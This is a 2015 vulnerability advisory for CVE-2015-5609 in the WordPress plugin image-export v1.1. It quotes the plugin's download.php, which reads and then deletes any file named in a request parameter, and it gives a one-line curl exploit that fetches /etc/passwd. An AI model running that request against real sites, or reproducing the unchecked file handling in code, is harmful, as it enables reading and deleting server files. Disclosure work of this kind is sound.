Advisory #: 135
Title: Arbitrary file download vulnerability in Wordpress Plugin image-export v1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-01
[CVE-2015-5609]
Download Site: https://wordpress.org/plugins/image-export
Vendor:
Vendor Notified: 2015-07-05
Vendor Contact: https://twitter.com/1eftHander
Advisory: http://www.vapid.dhs.org/advisory.php?v=135http://www.vapid.dhs.org/advisory.php?v=135
Description: Image Export plugin can help you selectively download images uploaded by an administrator .
Vulnerability:
The code in file download.php doesn't do any checking that the user is requesting files from the uploaded images directory only. And line 8 attempts to unlink the file after being downloaded. This script could be used to delete files out of the wordpress directory if file permissions allow. 1 <?php 2 if ( isset( $_REQUEST['file'] ) && !empty( $_REQUEST['file'] ) ) { 3 $file = $_GET['file']; 4 5 header( 'Content-Type: application/zip' ); 6 header( 'Content-Disposition: attachment; filename="' . $file . '"' ); 7 readfile( $file ); 8 unlink( $file ); 9 10 exit; 11 } 12 ?>
Export: JSON TEXT XML
Exploit Code:
  1. $ curl http://example.com/wp-content/plugins/image-export/download.php?file=/etc/passwd
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